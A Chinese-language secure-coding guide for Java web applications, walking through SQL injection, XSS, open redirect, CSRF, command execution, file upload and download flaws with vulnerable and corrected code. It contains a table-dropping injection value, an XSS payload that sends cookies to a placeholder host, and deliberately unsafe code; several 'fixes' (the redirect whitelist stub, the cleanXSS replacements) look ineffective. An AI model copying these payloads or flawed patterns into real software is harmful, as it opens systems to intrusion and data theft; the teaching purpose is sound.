一 SQL注入
1 风险描述
由于用户的输入,也是SQL语句的一部分,所以攻击者可以利用这部分可以控制的内容,注入自己定义的语句,改变SQL语句执行逻辑,让数据库执行任意自己需要的指令。
通过控制部分SQL语句,攻击者可以查询数据库中任何自己需要的数据,利用数据库的一些特性,可以直接获取数据库服务器的系统权限。
2 安全风险
- 业务数据库数据泄露
- 业务中断
- 业务应用服务器被控制
3 错误编码
如username是通过get方式获取到的值赋值给 username,username是String类型,如果不对username进行验证的话会产生安全漏洞:
String sql="select id,name,pwd,role from user where name =’" + name + "’";
Mybatis持久层框架错误编码:
<select id="selectByNameAndPassword" parameterType="java.util.Map" resultMap="BaseResultMap">
select id,name,pwd,role from user where name = ${name,jdbcType=VARCHAR}
</select>
在mybatis中$将传入的数据直接显示生成在sql中。如:
where name=${name}
如果传入的值是111,那么解析成sql时的值为
where name=111
并不会转换为对应的字符串。
如果传入的值是 0;drop table user;,则解析成的sql为:
select id,name,pwd,role from user where name=0;drop table user;
4 安全编码
1) 主要处理机制
- 使用静预编译语句集,它内置了处理Sql能力,只要使用它的setString方法传值即可:
String sql="select id,name,pwd,role from user where name=?"
PreparedStatement preState = conn.prepareStatement(sql);
preState.setString(1, name);
ResultSet rs = preState.executeQuery();
mybatis中使用#,#将传入的数据都当成一个字符串,会对自动传入的数据加一个双引号,调整代码为:
<select id="selectByNameAndPassword"
parameterType="java.util.Map" resultMap="BaseResultMap">
select id,name,pwd,role from user where name = #{name,jdbcType=VARCHAR}
</select>
- 使用完成必要任务所需的最低特权来运行代码。
- order by 语句: 检验列名的有效性。
2) 辅助处理机制:
针对用户输入进行安全过滤,验证数据类型,数据长度,数据内容。
- 整型:正则判断;
- 字符型:
结合环境,如长度不超过5,通过text.length()判断变量长度;
仅存在字母和数字,通过正则判断变量是否正确;
仅存在字符和数字或有限特殊字符,可使用白名单正则匹配。 - 富文本: 通用过滤函数,建议使用参数化。
3) 关于过滤可编写通用函数:
强制过滤字符:
- '(单引号)
- "(引号)
- '(反斜线转义单引号)
- "(反斜杠转义引号)
- )(结束括号)
- ;(分号)
二 跨站脚本攻击(XSS)
1 风险描述
生成HTML过程中,HTML语法中含特殊含义的字符(元字符)没有被正确处理,导致输入恶意HTML语句或javascript脚本在页面中执行。
必须消除元字符的特殊含义,转化为普通字符,需要用到转义。
风险包含两种主要类型:
- 反射型跨站:
攻击者会通过社会工程学手段,发送一个URL连接给用户打开,在用户打开页面的同时,浏览器会执行页面中嵌入的恶意脚本。
必须诱导用户点击。 - 存储型跨站:
攻击者利用web应用程序提供的录入或修改数据功能,将数据存储到服务器或用户cookie中,当其他用户浏览展示该数据的页面时,浏览器会执行页面中嵌入的恶意脚本,所有浏览者都会受到攻击。
关键点攻击代码存储在服务器端。
2 安全风险
- 盗取用户cookie,伪造用户身份登录。
- 控制用户浏览器。
- 结合浏览器及其插件漏洞,下载病毒木马到浏览者的计算机上执行。
- 衍生URL跳转漏洞。
- 官方网站出现钓鱼页面。
- 蠕虫攻击
2 错误编码
攻击者可能会利用类似以下情况的攻击:
http://www.csdn.com?id=<script>window.open("http://xxx.com?cookie="+document.cookie)</script>
直接输出get方式获取id值,未进行有效校验处理。
<%
request.setCharacterEncoding("UTF-8");
String id = request.getParameter("id");
out.print(id);
%>
4 安全编码
确保用户输入仅包含有效值。
1)结合具体环境,验证用户输入的数据类型/数据长度/数据内容。
- 整型: Int等强制转换变量类型
- 长度: text.length()判断变量长度
- 内容: 邮箱匹配邮箱取值规则A-Za-Z0-9.@-_
2)依据数据出现在html不同位置,转义或过滤。
- 数据在html标签之间或在普通属性值(value,width等):
数据库保存时如对<>“‘&符号无完整性要求,则输入时使用HtmlUtils.htmlEscape()函数对变量过滤处理。
数据库保存时如对<>”’&符号有完整性要求,则在输出时使用HtmlUtils.htmlEscape()函数对变量过滤。 - 数据在script标签中:
整型变量使用int;
非整型变量使用HtmlUtils.htmlEscape()函数处理。 - 数据在html标签on*事件属性中:
使用HtmlUtils.htmlEscape进行过滤
数据在html标签中src属性中:
过滤javascript伪协议, javascript:alert(5)。
校验数据绝对路径或相对路径格式: http://xxx/xxx或/xxx/xxx。 - 富文本编辑器,设置两处白名单:
对所有可以使用的html标签做白名单验证,其他全部使用HtmlUtils.htmlEscape()标签过滤。
对白名单html标签可使用属性做白名单验证,如src,width等。
3)对cookie中关键字段使用httponly保护
StringBuilder buffer = new StringBuilder();
buffer.append(name).append("=").append(value).append(";");
buffer.append("HTTPOnly;");
response.addHeader("Set-Cookie", buffer.toString());
4)通用过滤函数
可以拒绝基本跨站点脚本编制变体的正则表达式可能如下:
^([^<]|\<[^a-zA-Z])*[<]?$
拒绝上述所有字符的一般正则表达式可能如下:
^([^\<\>\"\'\%\;\)\(\&\+]*)$
建议过滤字符:
- <>(尖括号)
- "(引号)
- '(单引号)
- %(百分比符号)
- ;(分号)
- ()(括号)
- &(& 符号)
- +(加号)
- CR(回车符,ASCII 0x0d)
- LF(换行,ASCII 0x0a)
5)Springboot防止XSS漏洞攻击解决办法
@WebFilter(filterName="XSSFilter", urlPatterns="/*")
public class XSSFilter implements Filter {
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("执行过滤操作");
filterChain.doFilter(new XssHttpServletRequestWrapper((HttpServletRequest) servletRequest), servletResponse);
}
}
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {
@Override
public String getParameter(String parameter) {
String value = super.getParameter(parameter);
if (value != null) {
return cleanXSS(value);
}
return null;
}
@Override
public String getHeader(String name) {
String value = super.getHeader(name);
if (value == null)
return null;
return cleanXSS(value);
}
private static String cleanXSS(String value) {
value = value.replaceAll("<", "<").replaceAll(">", ">");
value = value.replaceAll("%3C", "<").replaceAll("%3E", ">");
value = value.replaceAll("\\(", "(").replaceAll("\\)", ")");
value = value.replaceAll("%28", "(").replaceAll("%29", ")");
value = value.replaceAll("'", "'");
value = value.replaceAll("eval\\((.*)\\)", "");
value = value.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\"");
value = value.replaceAll("script", "");
return value;
}
}
三 URL重定向
1 风险描述
URL重定向功能中对重定向域未作判断,导致可以重定向至任意url。
常用来做钓鱼攻击。
2 安全风险
如果站点下的某个web应用程序存在这个漏洞,恶意攻击者可以发送给用户一个站点的链接,当用户打开后,却来到钓鱼网站页面,将会导致用户被钓鱼攻击,账号被盗,或账号相关财产被盗。
3 错误编码
攻击者可能使用代码:
后端接收前端传入的参数直接跳转打开:
@RequestMapping("redirect")
PublicModelAndView redirect(HttpServletRequest req, HttpServletResponse resp) throws Exception {
String url =req.getParameter("url");
return new ModelAndView(url);
}
4 安全编码
1)跳转域数量较少的情况可使用白名单验证。
@RequestMapping("redirect")
PublicModelAndView redirect(HttpServletRequest req, HttpServletResponse resp) throws Exception {
String url =req.getParameter("url");
//增加白名单判断处理,有风险的直接返回错误
return new ModelAndView(url);
}
2)参照token设置,添加一个用户不可控的随机值参数.如果验证成功则跳转,验证失败则进行跳转提示。
- 当用户访问需要生成跳转URL的页面时,首先生成随机token,并放入cookie。
- 在显示连接的页面上生成URL,在URL参数中加入token。
- 应用程序在跳转前,判断token是否和cookie中的token一致,如果不一致,就判定为URL跳转攻击。
3)如果在javascript中做页面跳转,需要判断域名白名单后,才能跳转。
四 跨站点请求伪造(CSRF)
1 风险描述
Web应用程序在处理用户操作时未进行用户身份验证,使提交的数据内容和请求可预测并重放,恶意用户通过构造代码或者表单诱使用户发出攻击者需要的请求。
2 安全风险
劫持他人账户执行私有敏感操作。
如:银行转账、修改密码、发布信息
3 错误编码
提交关键操作的表单处,未使用二次验证或token验证
例如:用户修改密码不要求再次填写原密码。
4 安全编码
1)对重要操作使用二次验证方式(使用验证码或动态口令)
2)设置随机数token使用户提交参数不可预见。
- 在用户登陆时,设置一个CSRF的随机TOKEN,同时种植在用户的cookie中,当用户浏览器关闭、或用户再次登录、或退出时,清除token。
- 在表单中,生成一个隐藏域,它的值就是COOKIE中随机TOKEN。
- 表单被提交后,就可以在接收用户请求的web应用中,判断表单中的TOKEN值是否和用户COOKIE中的TOKEN值一致,如果不一致或没有这个值,就判断为CSRF攻击,同时记录攻击日志
3)SpringBoot配置CSRF过滤器。
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
// 不启用或者已忽略的URL不拦截
if (!enable || isExcludeUrl(request.getServletPath())) {
filterChain.doFilter(servletRequest, servletResponse);
return;
}
String referer = request.getHeader("Referer");
String serverName = request.getServerName();
// 判断是否存在外链请求本站
if (null != referer && referer.indexOf(serverName) < 0) {
log.error("CSRF过滤器 => 服务器:{} => 当前域名:{}", serverName, referer);
servletResponse.setContentType("text/html; charset=utf-8");
servletResponse.getWriter().write("系统不支持当前域名的访问!");
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
}
五 任意代码执行
1 风险描述
编写源码时没有针对代码中可执行的特殊函数入口做过滤,导致恶意用户可构造输入,提交服务器端执行。
2 安全风险
服务器可执行任意用户输入命令导致以下风险:
- 业务服务器系统控制
- 内网入侵跳板
- 业务中断
- 业务数据泄露
3 错误编码
cmd参数没有有效过滤,导致可执行任意系统命令
Process p = Runtime.getRuntime().exec(cmd);
4 安全编码
1)尽可能的不去使用敏感函数。
2)如必须使用敏感函数,必须使用白名单限制可执行语句。
3)如管理后台存在敏感函数相关功能,必须限制来源ip
4)精确匹配客户端输入数据
5)清清理输入以排除对执行操作系统命令有意义的符号:| & ; .
六 任意文件上传
1 风险描述
Web系统上传功能中对文件类型检测不严格,导致攻击者直接上传恶意文件或绕过限制上传文件。
2 漏洞危害
服务器可执行任意用户输入命令导致以下风险:
- 业务服务器被控制
- 业务中断
- 业务数据泄露
- 内网入侵跳板
- 大文件占用磁盘资源
3 错误编码
File参数未经过有效处理:
- 未随机化命名:以用户上传文件名存储。
- 服务器端无验证文件类型机制。
- 未判断文件大小。
@RequestMapping("/upload")
@ResponseBody
public String handleFileUpload(@RequestParam("file") MultipartFile file) {
// 获取文件名
String fileName = file.getOriginalFilename();
// 获取文件的后缀名
String suffixName = fileName.substring(fileName.lastIndexOf("."));
// 文件上传后的路径
String filePath = "D://";
File dest = new File(filePath + fileName);
// 检测是否存在目录
if (!dest.getParentFile().exists()) {
dest.getParentFile().mkdirs();
}
try {
file.transferTo(dest);
return "上传成功";
} catch (IllegalStateException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return "上传失败";
}
4 安全编码
1)尽可能的不去使用敏感函数
2)客户端 javascript 检测 (通常为检测文件扩展名)
3)服务端 MIME 类型检测 (检测 Content-Type内容)
4)服务端目录路径检测 (检测跟 path 参数相关的内容)
最佳实践:自定义用户上传文件名为随机数字值。
例:上传文件名:a.aspx%00.jpg ----> 12345678.jpg。
5)服务端文件扩展名检测 (检测跟文件 extension 相关的内容)
最佳实践:白名单列表检测[jpg, png, gif]等。
注:黑名单方式极易被绕过,应弃用。
6)如文件不需要直接通过http请求访问,将文件上传到web目录外且上传文件路径客户端不可控,请求响应包中不包含上传文件路径。
7)文件上传时候限制文件大小
七 任意文件下载
1 风险描述
在进行文件下载操作时,文件名及路径由客户端传入的参数控制,并且未进行有效过滤,导致用户可恶意下载任意文件。
2 安全风险
- 浏览Web服务器中的敏感文件(系统配置等)。
- 程序源码泄露导致更多的漏洞被发现。
3 错误编码
攻击者可能使用代码:
filename参数filename没有经过任何有效过滤,导致可下载任意文件。
try{
File file=new File(path);
String filename=file.getName();
String ext=filename.substring(filename.lastIndexOf(".")+1).toUpperCase();
InputStream fis=new BufferedInputStream(new FileInputStream(path));
byte[]buffer=new byte[fis.available()];
fis.read(buffer);
fis.close();
response.reset();
response.addHeader("Content-Disposition","attachment;filename="+new String(filename.getBytes()));
response.addHeader("Content-Length",""+file.length());
OutputStream toClient=new BufferedOutputStream(response.getOutputStream());
response.setContentType("application/octet-stream");
toClient.write(buffer);
toClient.flush();
toClient.close();
}catch(IOException ex){
ex.printStackTrace();
}
return response;
4 安全编码
1)常规exe.doc.rar等格式文件直接通过http请求下载,无需使用下载功能。
2)需下载文件数量较少时,可使用白名单验证。
3)对需下载文件使用统一命名格式,如md5,使用正则匹配固定文件名格式。
4)对需下载文件路径入库,通过查询id获取路径形式操作
5)用户输入过滤: 输入不包含… /
八 任意文件读取
1 风险描述
在进行文件读取操作时,文件名及路径由客户端传入的参数控制,并且未进行有效过滤,导致用户可恶意读取任意文件。
2 安全风险
- 浏览Web服务器中的敏感文件(系统配置等)。
- 程序源码泄露导致更多的漏洞被发现。
3 错误编码
攻击者可能使用代码:
filename参数filename没有经过任何有效过滤,导致可读取任意文件。
BufferedReader in = new BufferedReader(new FileReader("filename"));
String str;
while ((str = in.readLine()) != null) {
System.out.println(str);
}
4 安全编码
1)需读取文件数量较少时,可使用白名单验证。
2)对需读取文件使用统一命名格式,如md5,使用正则匹配固定文件名格式。
3)对需读取文件路径入库,通过查询id获取路径形式操作。
4)用户输入过滤: 输入不包含… /
九 敏感信息泄露
1 风险描述
开发人员编码中为测试方便,代码中开启错误回显/日志记录与web目录,导致关键信息泄露。
2 安全风险
错误回显中涉及WebServer配置相关信息;程序文件绝对路径;数据库表名字段名等敏感信息,为恶意用户攻击提供信息支撑。
3 错误实例
- 未自定义错误页面。
- 注释包含敏感信息。
- 日志存储在web目录中。
4 安全编码
1)Log日志禁止保存在web目录
如有查看log需求,可新开虚拟主机配置为内网访问并增加权限控制。
2)配置友好错误界面,重定向所有程序异常至自定义错误界面。
界面不包含任何报错信息。
3)代码注释及请求响应中不应包含以下内容:
- 业务敏感数据
- 用户密码
- 私有信息:内网IP,开发人员
- 服务器相关信息:web容器版本,文件绝对路径,数据库信息等
十 敏感信息明文传输
1 风险描述
诸如用户名、密码和信用卡号之类的敏感输入字段未经加密即进行了传递。
2 安全风险
任何以明文传给服务器的信息都可能被窃,稍后可用来电子欺骗身份或伪装用户。
此外,若干隐私法规指出,用户凭证之类的敏感信息要始终以加密的方式发送到 Web 站点。
3 错误实例
登陆/服务订购等包含敏感数据的请求未使用加密传输。
4 安全编码
确保敏感信息,例如:用户名、姓名、密码、社保号码、信用卡号、驾照号码、电子邮件、手机电话等始终以加密方式发送到服务器。
十一 管理界面暴露
1 风险描述
管理功能通常包含敏感操作及业务维护功能,使用者均为企业员工,控制访问来源可有效减少风险。
2 安全风险
恶意用户可能通过暴力破解,撞库攻击,社工手段获取管理员用户及密码,导致管理功能被滥用。
3 错误实例
管理功能未限制访问来源。
4 安全编码
1)白名单限制可访问管理功能IP;
2)白名单可限制为:企业内网IP、指定IP地址。